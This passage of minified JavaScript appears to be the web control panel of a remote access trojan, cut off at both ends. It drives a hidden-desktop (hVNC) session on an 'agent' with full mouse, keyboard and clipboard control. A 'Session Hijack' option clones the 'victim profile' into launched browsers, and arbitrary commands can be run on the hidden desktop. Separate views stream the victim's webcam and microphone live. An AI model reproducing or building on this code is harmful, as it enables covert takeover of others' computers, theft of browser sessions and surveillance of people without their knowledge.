1v3M4 7h16"})})})]})]},q.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function pr({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const rV=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function iV(){const{id:e}=qo(),[t]=xx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,_]=p.useState({w:0,h:0}),[,A]=p.useState(""),[O,P]=p.useState(null),[I,U]=p.useState(!1),[D,M]=p.useState(!1),F=p.useRef(!1),[R,W]=p.useState({w:0,h:0});p.useEffect(()=>{const V=l.current;if(!V)return;const Z=new ResizeObserver(fe=>{const E=fe[0];E&&W({w:E.contentRect.width,h:E.contentRect.height})});return Z.observe(V),()=>Z.disconnect()},[]);const $=p.useMemo(()=>{if(z.w<=0||z.h<=0||R.w<=0||R.h<=0)return null;const V=Math.min(R.w/z.w,R.h/z.h);return{width:Math.floor(z.w*V),height:Math.floor(z.h*V)}},[z,R]),H=p.useRef({x:0,y:0,w:0,h:0}),X=p.useRef(null),se=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;X.current||(X.current=fe.getContext("2d"));const E=X.current;if(!E)return;const oe=H.current;if(oe.w>0&&E.clearRect(oe.x,oe.y,oe.w,oe.h),V<0||Z<0){H.current={x:0,y:0,w:0,h:0};return}H.current={x:V-1,y:Z-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(V,Z),E.lineTo(V,Z+18),E.lineTo(V+5,Z+14),E.lineTo(V+9,Z+21),E.lineTo(V+12,Z+20),E.lineTo(V+8,Z+13),E.lineTo(V+13,Z+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;const E=fe.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(V,Z,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{se(u.current.x,u.current.y)},150))},[se]),ge=p.useCallback((V,Z,fe,E,oe)=>{F.current||(F.current=!0,M(!0)),_({w:Z,h:fe});const J=i.current;if(!J)return;const pe=J.getContext("2d");if(!pe)return;(J.width!==Z||J.height!==fe)&&(J.width=Z,J.height=fe);const be=a.current;if(be&&(be.width!==Z||be.height!==fe)&&(be.width=Z,be.height=fe,X.current=null),typeof V=="string"){const ke=c.current||new Image;c.current=ke,ke.onload=()=>{pe.drawImage(ke,0,0)},ke.src=V}else V instanceof ImageBitmap?(pe.drawImage(V,0,0),V.close()):pe.drawImage(V,0,0)},[r]),xe=p.useCallback(()=>{},[]),{isConnected:Y,stats:ee,controls:C,connect:K,disconnect:ne}=pv({agentId:e||"",mode:n,onFrame:ge,onDisconnect:xe});p.useEffect(()=>{e&&K()},[e,K]);const B=p.useCallback(V=>{const Z=a.current,fe=i.current;if(!Z||!fe||z.w===0)return{x:0,y:0};const E=Z.getBoundingClientRect(),oe=fe.width/E.width,J=fe.height/E.height;return{x:Math.min(Math.max(Math.round((V.clientX-E.left)*oe),0),fe.width-1),y:Math.min(Math.max(Math.round((V.clientY-E.top)*J),0),fe.height-1)}},[z]),ie=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);u.current={x:Z,y:fe};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Z,fe)),se(Z,fe)},[m,y,B,C,se]),ve=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,1,Z,fe),ue(Z,fe)},[m,y,B,C,ue]),we=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,0,Z,fe)},[m,y,B,C]),_e=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V),E=V.deltaY>0?-120:120;C.sendMouseScroll(E,Z,fe)},[m,y,B,C]);p.useEffect(()=>{if(!x||y)return;const V=(E,oe)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(oe,J,0)},Z=E=>V(E,1),fe=E=>V(E,0);return window.addEventListener("keydown",Z,!0),window.addEventListener("keyup",fe,!0),()=>{window.removeEventListener("keydown",Z,!0),window.removeEventListener("keyup",fe,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const L=p.useCallback(V=>{w(V),C.setQuality(V)},[C]),de=p.useCallback(async()=>{try{const V=await navigator.clipboard.readText();V&&C.sendClipboard(V)}catch{}},[C]),q=p.useCallback(()=>{var V,Z;(Z=(V=o.current)==null?void 0:V.requestFullscreen)==null||Z.call(V)},[]),te=p.useCallback(async()=>{if(ne(),e)try{r?await VE(e):await UE(e)}catch{}window.close()},[e,ne,r]),me=p.useCallback(async V=>{if(!(!e||!V.trim())){P(null);try{await HE(e,V.trim(),I),P(`Launched ${V.trim()}${I?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Z){P(`Failed: ${Z instanceof Error?Z.message:"unknown"}`)}}},[e,I]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.frameCount})," frames"]}),ee.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.dirtyTiles}),"/",ee.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:$?$.width:void 0,height:$?$.height:void 0,display:D?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ie,onMouseDown:ve,onMouseUp:we,onWheel:_e,onContextMenu:V=>V.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!D)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(V=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${V*.3}s`}},V))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:ee.fps})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:V=>L(Number(V.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:V=>{const Z=Number(V.target.value);k(Z),C.sendControl(2,Z)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:V=>{const Z=Number(V.target.value);N(Z),C.sendControl(3,Z)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Bs,{}),s.jsx(jp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(aV,{})}),s.jsx(jp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(sV,{})}),s.jsx(jp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(oV,{})}),s.jsx(Bs,{}),s.jsx(T2,{onClick:de,title:"Sync clipboard",children:s.jsx(lV,{})}),s.jsx(T2,{onClick:q,title:"Fullscreen",children:s.jsx(cV,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Bs,{}),s.jsxs("button",{onClick:()=>U(V=>!V),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:I?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:I?"#22D3EE":"#52525B",background:I?"rgba(6, 182, 212, 0.12)":"transparent",border:I?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),rV.map(V=>s.jsxs("button",{onClick:()=>me(V.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${V.label}`,onMouseEnter:Z=>{Z.currentTarget.style.color="#06B6D4",Z.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Z=>{Z.currentTarget.style.color="#A1A1AA",Z.currentTarget.style.background="transparent"},children:[V.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:V.label})]},V.cmd)),s.jsxs("button",{onClick:()=>{const V=prompt("Command to launch on hidden desktop:");V&&me(V)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:V=>{V.currentTarget.style.color="#A1A1AA",V.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:V=>{V.currentTarget.style.color="#52525B",V.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:te,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.12)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.06)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Bs(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function jp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function T2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function aV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function sV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function oV(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function lV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function cV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function uV(){const{id:e}=qo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=pv({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await KE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function dV({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=rt();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,_=w.data.byteLength-z;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:k})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const O=_/(S/8)/N,P=A.createBuffer(N,O,k),I=new DataView(w.data,z);for(let M=0;M{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function fV(){const{id:e}=qo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=dV({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await qE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 